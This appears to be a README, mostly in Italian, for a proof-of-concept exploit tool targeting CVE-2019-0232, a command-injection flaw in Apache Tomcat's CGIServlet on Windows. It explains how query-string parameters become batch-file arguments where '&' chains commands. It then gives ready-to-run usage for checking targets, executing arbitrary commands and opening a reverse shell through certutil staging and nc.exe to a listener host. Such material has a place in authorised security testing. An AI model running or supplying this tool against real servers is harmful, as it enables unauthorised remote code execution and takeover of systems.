
CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments RCE - Exploit PoC

Apache Tomcat CGIServlet enableCmdLineArguments RCE
Iniezione di script batch di Windows tramite argomenti della query string
Apache Tomcat con il servlet CGI abilitato e enableCmdLineArguments=true passa i parametri della query string come argomenti da riga di comando agli script CGI. Su Windows, i file batch (.bat/.cmd) interpretano & come separatore di comandi, consentendo l'esecuzione arbitraria di comandi tramite un URL appositamente predisposto.
conf/web.xml o WEB-INF/web.xmlenableCmdLineArguments=true nei parametri di init della servlet CGIism.bat) distribuito e accessibile&)git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
Verifica se l'endpoint CGI esiste:
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
Esegui un comando:
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
Reverse shell (certutil a 2 stadi + nc.exe):
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444